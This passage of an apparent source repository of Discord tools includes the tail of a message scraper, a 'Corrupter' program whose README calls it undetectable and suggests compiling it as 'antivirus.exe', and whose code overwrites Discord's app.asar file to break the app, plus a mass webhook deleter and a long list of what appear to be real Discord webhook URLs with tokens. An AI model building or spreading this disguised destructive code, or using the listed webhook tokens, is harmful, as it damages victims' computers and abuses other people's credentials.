| } 132 | }, function(err, res, body){ 133 | if(err){ 134 | console.log(err) 135 | process.exit() 136 | } 137 | 138 | if(body == "[]"){ 139 | console.log("No messages found in the channel.") 140 | process.exit() 141 | }else{ 142 | body = JSON.parse(body) 143 | 144 | for( i in body ){ 145 | if(i == body.length-2){ 146 | before_message_id = body[i].id 147 | } 148 | 149 | try{ 150 | if(!results.length){ 151 | results = `[${body[i].author.username}#${body[i].author.discriminator}][${body[i].author.id}][${body[i].timestamp}] ${body[i].content}` 152 | }else{ 153 | results += `\n[${body[i].author.username}#${body[i].author.discriminator}][${body[i].author.id}][${body[i].timestamp}] ${body[i].content}` 154 | } 155 | }catch{} 156 | } 157 | 158 | if(new_amount != 0){ 159 | Is_In_Limit(true) 160 | return 161 | } 162 | } 163 | }) 164 | } 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /Corrupter/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # ODiscord Corrupter 4 | 100% Undetectable and Discord corrupter. 5 | 6 | ## Installation 7 | NPM Packages: 8 | 9 | npm i os 10 | 11 | ## Build 12 | Install https://www.npmjs.com/package/pkg 13 | 14 | pkg index.js -o antivirus.exe(Can be anything) 15 | For more info of pkg click [me](https://www.npmjs.com/package/pkg). 16 | 17 | ## How does ODiscord Corrupter works 18 | Once the file is runned, the file will will rewrite discord app.asar(Core/Whatever) "C:\Users\Nukrws\AppData\Local\Discord\app-1.0.9002\resources\app.asar" to ":P" which lead to javascript error. The only way to fix this is If you backup your computer files find the app.asar in AppData Local Discord and replace it or reinstall discord. 19 | 20 | ## License 21 | MIT © I2rys 22 | -------------------------------------------------------------------------------- /Corrupter/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Fs = require("fs") 3 | const Os = require("os") 4 | 5 | //Main 6 | Fs.readdir(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`, function(err, results){ 7 | results.forEach(file =>{ 8 | if(file.indexOf("app-") !== -1) Fs.writeFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${file}\\resources\\app.asar`, ":P", "utf8") 9 | }) 10 | }) 11 | -------------------------------------------------------------------------------- /DMWD/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord DMWD 3 | Discord mass webhook deleter. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i request 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | - input - The file path of where the list of where your Discord webhook urls is. 15 | 16 | ## License 17 | MIT © I2rys 18 | -------------------------------------------------------------------------------- /DMWD/example_webhooks.txt: -------------------------------------------------------------------------------- 1 | https://discord.com/api/webhooks/0000000000000000/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 2 | https://discord.com/api/webhooks/1234/abcd 3 | https://discord.com/api/webhooks/280612471751049217/kT22-9w9eZAz3uFvNJbxlGrCOVTByrx_YC7k5Iq0WGHG11cRWrgxFDfbSUKi_MtFN7bw 4 | https://discord.com/api/webhooks/462968849059545118/5Zp4W0xHgd09aOpjMW8r1ZlAi_A8di1wjZn-JYIjzzpSVBupAeqWIwSsdOnIvIySuHN0 5 | https://discord.com/api/webhooks/680899402671718401/M2xZU38nSmfIqryh0sgT2HpP6ujKu6Q8yKJ1WqAVLhOcrZn1p0-ChQuY7iei4Q_l4I1X 6 | https://discord.com/api/webhooks/701665981763682334/QzSnfjkA2pXJ5iZToW9uaaY-QySG-BHueMCHb3Iz5Zgs__7RlP1-N6xUYoX5pmD2HIsj 7 | https://discord.com/api/webhooks/713533888416186458/Pn9UwkPhPadN6R_7sRwV9Dva_VPHfinrwH0QdZoNds33kXiXVAavo5fbJUwhI4rVo901/slack 8 | https://discord.com/api/webhooks/713622073909575752/yXvHFEV67Xfa8l0yiu0Vu-OE-uQXQOo8jxWxsqPU8bDPC11UourmD_O4w24WdLUKardW/slack 9 | https://discord.com/api/webhooks/717677497315098640/DuxJGBC0WVRVPAG9o8_FilfxEhk819PhdR66QHo6ycnLQopdzIaDmNs9wehEhf1q16XL 10 | https://discord.com/api/webhooks/718156111584296981/dpLcskTLJaHilxHkWi3Wu4cwfztne2Jms3Lqo7RrUj_yYZbqwqNepEl5L3McAjKfpehK/slack 11 | https://discord.com/api/webhooks/718956495534030868/8YRmCRYnDyR-3NMeTXku9kG4bCGVIrCnroLsowSk4yaEntRKsqbwiS-rQev8_wFDOJtc/slack 12 | https://discord.com/api/webhooks/719937466789789876/llQfBSgv3Iq2k0-pF9fv3VbiJ2YmFx8HOHmDOb6Z3X7R_dQAina0qw3xCodo5i24QF-M/slack 13 | https://discord.com/api/webhooks/723969295096479767/KD9UREObTSa1qfWoMNTF6Eprxf_uT6wYpOfO8uJDtI6Oa9tW1b1BsmpY-GQFWBoiKMhA/slack 14 | https://discord.com/api/webhooks/726533037550207046/qWV2lSL3FrUEZJSvVCpKxTJ8xYewjQKyqz6VWfjNS1wv5FH7Vxym69zXogGxSCMiohD3 15 | https://discord.com/api/webhooks/727700228479909948/w13ycAWw6scOmOjwu_nJASB2IK3-uSx7vSZ6gUQAf-zP4CeL6LwcKWg1G1sFzj9vNiDX 16 | https://discord.com/api/webhooks/728628459647271013/-7o6gw5sxd3qO-Lc7XN-NpnB_KTV9pkOeCQmu-yrT1tyR_3pRwO7siTfIsszBOed0xy4 17 | https://discord.com/api/webhooks/735685697981120674/Xv9u84hmQTjtw66oORYzU3LaH8Ey02trHfTyvLejFUvSAdS7oZqM_EvBTsPhWm_IfSlB/slack 18 | https://discord.com/api/webhooks/737711348191985705/beeOSIiqNdptrxE6fJ228TRuulJk5bv1dpR6-ty0iw23THas4bALzOn_Cn2mSePFTRKa/slack 19 | https://discord.com/api/webhooks/744917722823000104/xGpKJ4FeO5bRrXZ73vpEA7x8J6DGWk1DepywNhwnAfxzJFp4DeqVBCT3999xIt4dHzhN 20 | https://discord.com/api/webhooks/750298182251970612/Q1k8eDlbvswakBDST6JnGPBbgWMOWgAnyiS-G4pHl3N45yYbLFETsQbboxlowhe2zqGT 21 | https://discord.com/api/webhooks/765825528576999454/65lcL08eGEBm9zkH6LG95NG4ca_1pP0DIdqQ_2xDYCEZIS3TdBLEMkfEQO8q2nkTAZai 22 | https://discord.com/api/webhooks/767748057222742047/xSuFciE7iJq2sgSVcNGIIVNe5KCGrMyUoaj2oxSVzjBDTkZJKom7W7FmlfRj67Y7h5Tr 23 | https://discord.com/api/webhooks/768837475615375360/Bsv1DAltsfMxExpMI7xIwxuN2rpfJevsRtow8gG5EIXgjty0pA7jF7ISYqb5HnJzSovS 24 | https://discord.com/api/webhooks/769003459327557693/JYOegVgFyBCPRmC7ELEFXadJUoBcTHHTPKPLMuiJ-HhjUnyD3kvTmoUmvEycy7bwZ5N8 25 | https://discord.com/api/webhooks/769322612932476958/UFTlj1faanO1AOtCjbw94Vy7jxiJyo3dK4QnKrP1S-tfnLfkEJjPPbBGs33KqF8ZeE-5 26 | https://discord.com/api/webhooks/769973200758374460/oQkPTFd5Z1hjk3xIQP6bG1eRUKOWVw8W8o1FIdPkTf1p_IRgecRUfrUwMmJT2AKYm-tS 27 | https://discord.com/api/webhooks/770436134446039050/An5Xrf3OffFzKkdmAUQznok_hsdxLEW6ThPVF48uIQ7YOMLqAyX2ZRs2FtE4dT4i3GsY 28 | https://discord.com/api/webhooks/771979356552560660/PKJAytpwypXzdg-WzjJ8DGoQMyXBz_czBx32zgMMSWJjLEV7zDOCchFtwqw9cUJk2Cb7 29 | https://discord.com/api/webhooks/772156921657425960/6LTjvoYNJJQxF2oVVJQJj1uAnFLAGmsk_D8Po_ZK0LwIxZMWw0yeJwtiDvmaL0zgPFOh 30 | https://discord.com/api/webhooks/772272241077125171/6E8YllfVjj41zdfdfLdHTvzE5y1jaFvxl1-EBd4cqdncr_p7HLEJNa1X_Zp2r5yAx4T4 31 | https://discord.com/api/webhooks/772618714776076328/WG10JBt3h1dVkkfEh_H89bVgQrJH1nwSMb0EaIY7TUNyl2gy6cjax2uqTaUGjOpka2_0 32 | https://discord.com/api/webhooks/773489352947925003/R-x1BjGI5m1UMsEWQOnVHLIGvMuuhE4qIDrVlfeH0Jxb7QvE7400u4msckxVsyIr3ao_ 33 | https://discord.com/api/webhooks/775838645311373332/Qq_IhO_EZeLKbHibOLSXefW6OnOR2D85ZBIx24gXeKcGDG55xOzlwaklS6S-nBC_nwm4 34 | https://discord.com/api/webhooks/777965414452953109/AOywx5tkHD2uV7j-_q2BgH4KqplzcjDhRqQgUw8Fpk2-18XUvc9j_xgYRWgtiC8xx2pr 35 | https://discord.com/api/webhooks/778000968587280384/9F6X_IsUHpXRJznsiKCjbQwSthpCsf8636gWYLoSFjxfINu5i6dQJRkkEEP6nG2A74fE 36 | https://discord.com/api/webhooks/778103769455656980/ytedXOjLbHATWAWIdWse2jhaaKmnhjilq8bNG7oQt6jvsKsDvHxQTOgabok9KyxD9C7u 37 | https://discord.com/api/webhooks/780569217107886131/rVpKIihijrb1V5OR1lNhHAIICEZ25o36-LowRdgnPY4BpabplGIwWJsa_VxcvTlQytSt 38 | https://discord.com/api/webhooks/781213512793981009/WAZBFu1T83oBWKmNBJOOrcE2zZ_DrDV4lR52hyazTHqhBwMLbLUgbIN9dTGvQvykpErD 39 | https://discord.com/api/webhooks/783092704703545396/c04qG7nbbM7TDuOrbgSku_YU1UFGYIdosNOfnHaoPN_uyDUFEh-gdhFE_-CWK-l4VVR8 40 | https://discord.com/api/webhooks/783409025365835783/FQ--ieQehhZ4DRmqsW01E7_v5AB9YYbEBcgZi5AX7Ts2DuXmC4vXEM08koqcopBOW42X 41 | https://discord.com/api/webhooks/783576585806544916/F9aB6Gc6GtamPxvwry82V8CV3djrHZQ9soz27hyXPHRnKmhljixne8Yizy7b32fHACnl 42 | https://discord.com/api/webhooks/783960722110677002/zzN4XYvQuxFu97v-qthaGQW6xbjARqoKveYfam4yZwwKHQ5Xu9WJKt9VvWN0NMOqhHwn 43 | https://discord.com/api/webhooks/784577263042691074/3KY2OnTDYKfWzwpkEvbnEdOjqyjb_6HGTjmBYqrUqVQA3A93YB_fUSV0r17y3Ygvdnq6 44 | https://discord.com/api/webhooks/786219836815704085/WGfWPPx-QVTsGNzhkGFMBKycXK5izTSDVb61s-XEZyERqlEDUdZOA7cNYQ5a1jKOrioI 45 | https://discord.com/api/webhooks/786492410825932810/8_mJrjDNovRFIwk_4SFD6L7gv7lx8Tn825qIhRaLyp4_3Bnq6V83ut2DQQQZ0t1M7frr 46 | https://discord.com/api/webhooks/786645796790861845/0Sm0tGU8G5U7Np2XbZ6ad2dTv81Osz5VXkIGmECGY3imXR4vZJ-72DiWt5rqR3dnB5QB 47 | https://discord.com/api/webhooks/788758006762438667/3Clsj6VRnA3yPI6hNvAnEgat3yrNjn0aMKFCimj24uumxsnCoIhH7adNlZIaejBlLXtR 48 | https://discord.com/api/webhooks/790130411849121813/wqvf051-9KKns37gI8DtWv6f_fSW2goaKglK86Ze5uriqkqpA4cFwQnyDCfjtPQHvn3f 49 | https://discord.com/api/webhooks/790163209293398046/r0G0ksXJCjI_44mwKJkVXzFh4H1jorjSEqWP-wkDiF5LAcuaSNudVSDHgT5qLWpAy2wJ 50 | https://discord.com/api/webhooks/790686076745416744/hzEgAs8Yl7YijUDM_hNk7qhCJupGBrf4cUEkA-Yay-24gt3AOG_HdQlXBcxh23wCjIfc 51 | https://discord.com/api/webhooks/792666718287298610/lnBUV2tU1DSNwFSPL4EWecQCxuE81HnkbeRBpfOBtSJqYhabfJqXtaB0nJXogy3BNIO3 52 | https://discord.com/api/webhooks/793132889692700724/0E2ITSEWeatlcKiif8BbjndHiV1S91IEXwyYlHcfQ4aL3AyCByEBnRi3BLrGSgQ02mrM 53 | https://discord.com/api/webhooks/793218393528074240/V5Q53f52MAqJVcR-2NAf-H6wzlZzKC3iV4aLXfN29TyZLgybXOS-lygUZalPiZgaq4Wj 54 | https://discord.com/api/webhooks/793492781418151967/vkJUGemvPmeuL76Za6jU2ooeJ8WCrU-IF3PyCHco-CNpYgK1Wi59mgGYHEDlMH4W0S4Y 55 | https://discord.com/api/webhooks/794379812332109864/kr9_TJVQRoTbDBBQw-R9wHhna30qIdhL1pgWyRfwyIp7H9UR85tmSKW41tSvcpSp9q2y 56 | https://discord.com/api/webhooks/794936577934753803/PTSXbmvpR9IamFsom9mKnL3CwoBsAjNCD7ylIafCsxSyFWdlzLKj-OmJnBIpKuYyC1gU 57 | https://discord.com/api/webhooks/795493132972064798/BxawEueQzexYdXKMlScZHhhTQjHpCU1IMiJ_yR-knZD2RDYirhgTckvPTbozD5D_eXit 58 | https://discord.com/api/webhooks/795986720256557057/o2Pe4Mf9yBk_cur2lBcgtNidh4FWZzeZoMdRtE1bxAsF5omqTqWP--j2FXYWEUQnC4KX 59 | https://discord.com/api/webhooks/799900421660737587/52xOcPq9XTa56God1zEjjrE5Y50hy7PoEvItLG01HqjuNPHl-qxAEkpfXNeXI4BjlCsr 60 | https://discord.com/api/webhooks/800210873947389952/WIWLmbGgfy7i3QM--Gp-lJTTm0YCwKoTOsHSb2tdaSEVhx1t86DdIJrv_CRwSwbXanNv 61 | https://discord.com/api/webhooks/800424650206216214/3G9FwdoqUZCaYWJOBWCne5HehxG3lRRak7I2UcuF5h8k992uskIR2SitPOzP-V5UG8KJ 62 | https://discord.com/api/webhooks/800804684796919828/DKCqejqIQOOMNFwzpZdUt2ZTHx4Jr8XTwX17bff77gqpIcr0Hu3Ne8VSYSnKNJfw2Zig 63 | https://discord.com/api/webhooks/801095746497413240/tfZ1WeW4W7gpHLIeeWVWZKsqYXLwxnao-UCrWJ7f5JdYaQ0126QrLOdRnrB9LGP38UEU 64 | https://discord.com/api/webhooks/801120481507934258/5gQdoIk5neUoLL89P1HJ7ua5M3mQAntk9xvSMQ0HgDQ42I_1UwC1gXSfI7vDR2ZSJT7y 65 | https://discord.com/api/webhooks/801125298136416336/mokDC063BFSCsLjNoIzUdwyvVP2kl11IcRzc6qvVJNBRLsL_3Zc5ulnEkel1Tns9huJX 66 | https://discord.com/api/webhooks/801388462161788949/4YlB-ilQPNnrfGhoL_YoxWh8uJhgabWSWdZV22aUYGn3Km-tJlifBNuPw2CLnhUsotsk 67 | https://discord.com/api/webhooks/802102435921133608/3gEH8Je6PYg34W72S1RkO5e-QSFzcNEawbesZBUGCJlUkv2m 68 | https://discord.com/api/webhooks/803835907710517279/NpWX2fo3TB8GCGSVYWwlzCwSdqdHUZbXlq1fzDRkpS6xYP8OLADgfO_fcSyp0roWwBqK 69 | https://discord.com/api/webhooks/804052720427991090/5IA62EfRwnqvmpGfVPuqp_lX7mze8JqaNGEslX9lmj-qgfj34Qdy5UBsSYenmCrjGZ6z 70 | https://discord.com/api/webhooks/804612955919613983/YotF8q898t6n0M1aTcyDt47NwJh998NmtcWJ8m6_IaSvkvtv2iCUcx2Sax1mOX_YE6Ry 71 | https://discord.com/api/webhooks/804862438595100672/ayjhQhDogp9KsBb951NiMsB6sEbVbuhac0XbWI62mS6QovQupKYPD3tXX2p4GpAyhBby 72 | https://discord.com/api/webhooks/804865260627689482/6J7mr5WwyBn74VO2ckTVXai3563RFvagCYoRNDVSPiZnB0d7rolBlHccW5WJQiyjVsCW 73 | https://discord.com/api/webhooks/805448138311073802/lzFTJXoI6kmGhp1W676c98e3xRK4bIadeA2cfAF5OVB5GGcIOICw7BGNecAHzOfg4zxI 74 | https://discord.com/api/webhooks/806245150870732851/PhqR7c8BRcbekF6Vx9GXRyYQphZm8R4mEFBXNsKLtO13zbvm0vpf0AbgmgbWSYJgN6DG 75 | https://discord.com/api/webhooks/807086398107680768/Pfn3qDPM-l6MFpYf0iqZaspvZCeBAurVGCuMFI2F4AbG0NfQaI6vMipEH-8Inuj0TZ5N 76 | https://discord.com/api/webhooks/807427217080188978/3HtfYw7eWvya4rbVOpazsHCcG3JSrx-9kPuCUVtlsxB97s8H08Q6TN4a2DqtLmHqhTIk 77 | https://discord.com/api/webhooks/807763446992863272/u5N41CY_5hLOxfjdkx82QADuMp40Yj8cN98vs0C3uAm8JHTeUmuR8-y-GP845giHeq9D 78 | https://discord.com/api/webhooks/808381838153351168/vofMAlQc5MtQRsysusOGZM2uSdpFdYDQHVqqBJPheNgaXdn5fCHCV65kOSAeTiATFqkx 79 | https://discord.com/api/webhooks/808705861567905804/lade8bpG0mKfl4rAlHiuoHujaGhObXyWJcP77eMBH--Ka9zTH2JfyC_saJRUL6qRVqam 80 | https://discord.com/api/webhooks/808810315873648701/w2Q_32_8Y3pZTbKLT-chXHFvyv6s1lQPAfemXwK_jP3xgJOxEIUI9mYNpTc6lrG9JzMI 81 | https://discord.com/api/webhooks/809112257573027860/RXyTdvdGRjQiA9q0eHQhUbjD4D9U2lQ22llZWQCLmMELQN6Rpr72O5xnjrOL-jY1_UBd 82 | https://discord.com/api/webhooks/809211497817440318/UdIW2Q56KdrhGKTwloqEZAJOcGXXo0dmd01P4LPo8P_hKiokzimOIYXYz6SA8SJINIG1 83 | https://discord.com/api/webhooks/810596320338903050/OPQSfRb0Rqo015UIrmFEEAIhaVxKWDNKJ-CbhrUJV59tlGWU08C0O4EGeOr84zD7oUKS 84 | https://discord.com/api/webhooks/810894121278898214/vUH3Qjfkb1I4dfL69vQLQHZ1BZ862xR7zEHYsnom4uhgJFZIDJwe2m7toOLJD2ULJz2N 85 | https://discord.com/api/webhooks/81092...076/CnaAOb...rSxZzDD3WA7 86 | https://discord.com/api/webhooks/811724047511584878/K6aMuF4L1-FIv0dxql5PGI94L0j0ctwjABevxB_3pPuKynJExziBkKPFC7y9Qb4XF-Zf 87 | https://discord.com/api/webhooks/812357809160454184/6OwMQdQUViRdmIVeusjOHfovFiaNKxo6qxjyhVV-2aiu1-dpVTbdFAPIwN0l6zTlEwCz 88 | https://discord.com/api/webhooks/812383186402934874/3A11R9fRVHiGLoSDLwByxWT5SA0pKYvtrPzJxQbKQzX6Z5s18T65MGqFZYidWJT5gZZx 89 | https://discord.com/api/webhooks/812401527092019280/b3HAM8Zc-y6A7Y5lG3IRl8L_B4GZsTyZIA2prc6hPhSupVtepF9gE5JHhoXevWdZ6gj8 90 | https://discord.com/api/webhooks/813778621713743912/W-FOQH7QrgESCTw_CqvbXvLUoyFyeQTVvbuLx6rv_pHCC8jAcYKRM_bt8IDXK5m9WIxs?wait=true 91 | https://discord.com/api/webhooks/813819262095458316/UQn_HMyVYLsRuv6NnvDaAXm5BIhTa2H3IudEDaPE5LWC8MgIdiBUCMOckYRNNIxJInzn/github 92 | https://discord.com/api/webhooks/813856891679146044/0fWTqYDaeJJrEFnJWXLC_UpCAEsInNJEfS83YFaI5AZdpjapfWH3BkRo7c03UCB4lyYe 93 | https://discord.com/api/webhooks/814171539720896513/0s3Gbpqf8XSGNpUxLabpDG5nZzZzmNITngr5ZdS-Bq_0ELvQXnDkeJcdUdCCEk7PR_8P 94 | https://discord.com/api/webhooks/814513411042967593/5nc-aYGWTsOTlvJQwz8XHWfzJ7Xz2oFbUygobYJyCkilsR5Qdiv0ew4SVd9wLgHJochD 95 | https://discord.com/api/webhooks/814714945429962762/kU6bT_7TrqX_N0VyvQnSFclBih91lFgR34zNum6YCUYiaOHGjPNXiZSoyex--qe-4akH 96 | https://discord.com/api/webhooks/814802137183551549/C-YlmqmjiR1AmpqmBpbnPpcdvqQ-ntWZsacW4ZZXxYVzTjSG6-P98j3c2ZonZ0LDfA7d 97 | https://discord.com/api/webhooks/815454147436478495/Ix8OgqtVH8MMwLATB6Max2asYmzL367BjROg5tZtFuLjKkcJmwCAooHf5WQuzavtAU8u 98 | https://discord.com/api/webhooks/816341121612906562/Ptu_jCCJfKo5cxgYMqZdaTr_HVwRxvq4txAXu4cJRegdBgGFi7l8B9qUQMzztVdybY0i 99 | https://discord.com/api/webhooks/816486442704437279/zOuTQZyOgK13koNLWBViQJg3_fNKCUbk-2M5ccwnAj6zZk7kCoSobq45x1RMKA6uxvCf 100 | https://discord.com/api/webhooks/816606408647770114/ArtRbaT99E-15GNtccZxRLJPcJ_H5ce9dIUVNVpKo12TUuOid1naYQFELokMRQSfpiXO 101 | https://discord.com/api/webhooks/818089479586971658/diMSahX25QFF-No3Mc21b7keC5KfO5VVEVkDZR_mOJK_on5SUBE6GUMvzsGTqJY8a4-V 102 | https://discord.com/api/webhooks/818525762193063956/sLD8jbbcy2CPT_uYVaNK2gBkKe22fmpkqtKukrAsJqcg7mgebQ0kTJPpQP7vMFWCqLka 103 | https://discord.com/api/webhooks/818853848541429810/_Roml0TnjcmcqObWPMh_Khqs0voP47R1fTwArhSobDATLw37CeYd2mkFbIS3TBXlsUf7 104 | https://discord.com/api/webhooks/819293313559167016/KlL6YFOviQep7ayIXTCAsJacujt89c4ack7wEMzncnlbcnAoFxl-dAWoPlTM9lbuU5Yw 105 | https://discord.com/api/webhooks/819831454535778334/DqUGI0trw2xpcsVGfWKr18ravkYKgVLpH1GETamLhrNfcltREpuG3A7yUtQN50HSL5KV 106 | https://discord.com/api/webhooks/820351498599923732/I0yDAhAMRB9yQdgBm4eV6gbBngOXj5DUEtQ1dqp0HS_dJjPXauWailXO2NpoLHwHdpX9 107 | https://discord.com/api/webhooks/823011793789386772/sFZTe9oYwoarG_p8D4UDzzsEwhpTvJOlTFdlSSC8ryE88l9XgahYlSxuv_VNwCvKPu72 108 | https://discord.com/api/webhooks/823046787950575647/MHOGzijfljT0vi8WJTu_T577UYfc4nXKvahipALUiv59t6RcNygFXFBNqCxXksDYIQqR 109 | https://discord.com/api/webhooks/823964963676225556/SbzfzH_S-MtuKr5II6Rry5kJQVanDkzFaUpkQ_SzWSFLfjNT7FBsp2fLT3evqp7gEqL8 110 | https://discord.com/api/webhooks/824651679286165516/e1-3BE3TDaYUHVqkX_SrKgPFEirzxTLMzJgCPCmFzRXI5yUadpvJr_XMGf4z_TqrcFxN 111 | https://discord.com/api/webhooks/825159209468690443/vIMXWyhDU7PcWo2-9ReKQwd6OB1jYZB0TktuXbqWo6oDgCywp7ySYEFVJiWJORK2-tgy?wait=true 112 | https://discord.com/api/webhooks/825865976267800596/464BWJwssnlxBJbKRtOjmzAlMd9RtEFqnerxbcWsaWiSV9T8iAuUfPb4eThFGMwlNDoS 113 | https://discord.com/api/webhooks/827088817718558730/3E7HJVkucTue6H9O48zQZx-QZqZelCKp8f_PM3dYRdYnErkGCqix1O5p6APmjOXuu2_t 114 | https://discord.com/api/webhooks/827404662972874813/6GQPMdrm2aViobtvJ4QNmBMjcIVwGyXTilLeD60at6Hk9QnGMubWtXzvJpN3wYziLcVz 115 | https://discord.com/api/webhooks/827686172000124988/vzVEQ3MScZfAWTH03TpDxANyvUe5i3sgJaTjOuEci85QxQ6R22TuRXDKeOPP48CaGB7K 116 | https://discord.com/api/webhooks/827694907334197268/Y_YqsPHJyE3YECKMLu_2GOs1yc0UUdt8Kf0OqYkzJsXKLO-w-CGEnGaWBRE-D4IrscQa 117 | https://discord.com/api/webhooks/828151967091523614/ZGN02gW78TZFtTFYzRARf2fuOIxigQLqGbbJFmsG9S27tTxiFhuNOnyrbbiB3FjdpmT9 118 | https://discord.com/api/webhooks/828665037270417438/hQ5nh-W_qCuBusok61k2pJDRwtnA1SX2ZehrgVF9k65ib2xXvLOSGr4YsPVm1ZJTvxzj 119 | https://discord.com/api/webhooks/828763491997450245/Q5iVXjDUQgKx6NnSEr5y7NN8HNuLN6a31erANo_y1X_IAzjli0i86Y8IiSkpIiuS_lzb 120 | https://discord.com/api/webhooks/830547329823670282/DCdQvoIPRy7VyDxdx-h_NvdPosu8A8ur5XssNzRCn2y4elMhYHTVYdkTOrf7zN02RFDl 121 | https://discord.com/api/webhooks/831576790291447890/tLWmNDtID9fhz_0mExh2U3XohAR6cKvQRrh2jTQQdXqRPTraofCY5oF7hEP3XVUFkMLA 122 | https://discord.com/api/webhooks/832116747770527744/ccJLv-lOgxDp9dR7p0jXaSCgVA6z0ESg3NgJ1Ybp_DusnI_2IJVWKTgUuqDApbu2imNf 123 | https://discord.com/api/webhooks/832919957632188447/dMSZDGN7H3lSlaP8MnmSQiqWv31QQMK9xLwxULO6lcKLeRwxb1omYWXus8vi-IcNbTmh 124 | https://discord.com/api/webhooks/833153687097835550/-UsY8PG-yAOJi1RWNTKMwrDi1wBfdcL2RNnEM-6X3d1Kbn20rNgEV76qIJzTIPgQyHE2 125 | https://discord.com/api/webhooks/833190474361077760/tsJgFXFyECNaPYsrE924WIjOR5VtMH5AVx7fX2Jb7jH3QjzGcWzhQrvR1ufBlI755Xej 126 | https://discord.com/api/webhooks/833323959914987540/KwlEpBLl2htCAv5PDeGXqWryV33-ILSBW6bibEnMN2ee0w8QBx17t0i0zVzk2A236Fa0 127 | https://discord.com/api/webhooks/834415393522188310/LohlISVCdU19A9qrMV_vdP9TygAKW_BvSxhVIhj5HwnYlWV2Omk0Qh7IxgCjrvQ5j4nO 128 | https://discord.com/api/webhooks/834493611151327292/Wcn-rPMpbatvHmvG4ObBI0gkFEEoAVTt5hpADq178I82BTkGxKNBwYHlDdu3GMguwHXw 129 | https://discord.com/api/webhooks/834775453406986240/75vBoBtxBg2I1OinnhcbHF9pEQIx8Td5Gju1RijA6fI5bzEcDeJMRfFAJF2xGcMhCNWD 130 | https://discord.com/api/webhooks/834966122024402945/xpdhUA7sC1tk462R_9D2iXbkSxSnJnmq1MVPQouZHHxSx66Uvh1tOOyK_mftuyh3raxj 131 | https://discord.com/api/webhooks/835023783017971733/9ZHkVQXaY7GwwhJQgd5gc4rh_BG8rc4lHSgz6EuQ-7mWs3gv8OuQ9nJ3ma2uLXc8t1w6 132 | https://discord.com/api/webhooks/835206739862487120/4oBpZ4E8F2y-xGY6Y3ySkK7YauUMifTqfpn4ZU4xWt3FcXLPgCHQNaPc1wBXsGjrPxy5 133 | https://discord.com/api/webhooks/835213171202981908/rOZ_FjpovuA97w_r93yYJ7DwtKVk-4k0ot6UupzFMqUicvpcOjP5aYqqJkrsc46fiar9 134 | https://discord.com/api/webhooks/835263778274017309/d7wzgiwlEv41tpLX3Zki058nqTAQEsBX_V_19xtRpXoXqK1xyEjlnoGTyfeqqZ0MSYvs 135 | https://discord.com/api/webhooks/835538027945787473/Nj7TgrJrTMRABV9MgLnLf-nFKj8Zz1ZZzREVPxFKK-6B8zBSE9JbcUdekAzRUupAfEn7 136 | https://discord.com/api/webhooks/835615651870932993/W45dZpmU21O19GObj3GFIWEnTjUkYVCpXO5pJxtB0K_NWYVqpN-w-I8av0EvO0rnlS67 137 | https://discord.com/api/webhooks/836302849204944926/Vbv50DnE7TAvsRjFKcRAkPP0gcEnZ-lD9myWJ0t_Fi0gW8TPoIni5jXdfDj37QN_mEH2 138 | https://discord.com/api/webhooks/836581383618297897/CwiOatJ2aLrGYpGuPbdB-JDIvYhbyAijnOhQeJeict4T2CtlHJJyXw7HhxsPGzQcL7oG 139 | https://discord.com/api/webhooks/836991998275485726/jXyCKlmv3f98h7tXkebBfi5g_BnLSwDDcMjXoyuwejLhG3rZ7Yy88pJ5woA4NmK7-4Su 140 | https://discord.com/api/webhooks/837369104079257641/sxqXQDhO2rEk2rl5ewA4WKRbW7ikDKoWcGCU_nkeiCFblLKOaf2wMiHkAGaJML7bQG0X 141 | https://discord.com/api/webhooks/838522315637260329/CyF3JKqwbZ5b1foXFldRJLooCYrv6-rj2dfqaLvthNPpEK3v5EvwH6BK2x0RGuShYZ4w 142 | https://discord.com/api/webhooks/838665166647459900/676FnRsoD8gTAnTFdjnq22ju2wdRBmdysv4sCMc6ZAwpQcR1ocWzwFFmE3H8Y58BJl_u 143 | https://discord.com/api/webhooks/838679667715342366/XVTIYW_egeKoYGOCrHJBiIiyanymsceCw4_tIjuAcfFiDqFLJkVuKqz5_mhZXR4pSizh 144 | https://discord.com/api/webhooks/839672150722215976/OAlfMdOJatBCrDsgDm8L8LUuDNZS6DQA-LAUZvS6d4IH8GAKWVBGjZuIprkmd91gR4vr 145 | https://discord.com/api/webhooks/840769861101158410/Ha5Vl5H9asRZWfv8jybaOAS25T8WwpNcEpbh6Jq8BMLHgKitHgzLrEyRTmOB_IvN9KSD 146 | https://discord.com/api/webhooks/841190700074532894/giQsu_Y_tlU4HANWFv5EnGpR8m44JwJ7MEOF9iW4SdGGp8hAGnbHEaS9bl2jPMbpuZIU 147 | https://discord.com/api/webhooks/841446440140275722/oUwORjrmHDkjxvhYP6mpd2JdGR7OSFU5V9-_jNQ3yG55wM0xPTMRZSAS9mpzW0PKR7WH 148 | https://discord.com/api/webhooks/841674410893246484/uwyKkoLnhXhLkmByFBq66Eq2PEdOA1TbHKabXel3gNlCw5X6A9SAnoKCH-HkbeEB7EMQ 149 | https://discord.com/api/webhooks/841801415101644810/j2xY_BUSjLY9yhcvVNWehvTznESi516FTnhfMH9tdm0gQvLbm5yRvI4RpL2XqnpOYTB6 150 | https://discord.com/api/webhooks/842439151710109696/De3mITkj7uvxm-8NObuqSww61B6k8ayRxQ7cFDS4SkFouaFnfkJ0C5IehvNWiB8gMopw 151 | https://discord.com/api/webhooks/842671597906690078/a3TfByXAdInZDjLxWXEmlU3zSWha33AUWE4QlTWVopTg_Y8KaLck3r0dINqNMe6-HO8c 152 | https://discord.com/api/webhooks/842671597906690078/a3TfByXAdInZDjLxWXEmlU3zSWha33AUWE4QlTWVopTg_Y8KaLck3r0dINqNMe6-HO8c?content=a 153 | https://discord.com/api/webhooks/842908490514563093/ACZ6PAqJU5KTV651VjP5F4dYWFecfFOKOFm4EDFHCDqM_f2EOqMRS1u80Ob6Tm4sFqcM 154 | https://discord.com/api/webhooks/843243965109108736/t7wYHeU5yAN4V_sSiEady-uO_jsd53pQYgcww1lnBqVEVjUwJw7-IZKdEzCxxNvuOmwB 155 | 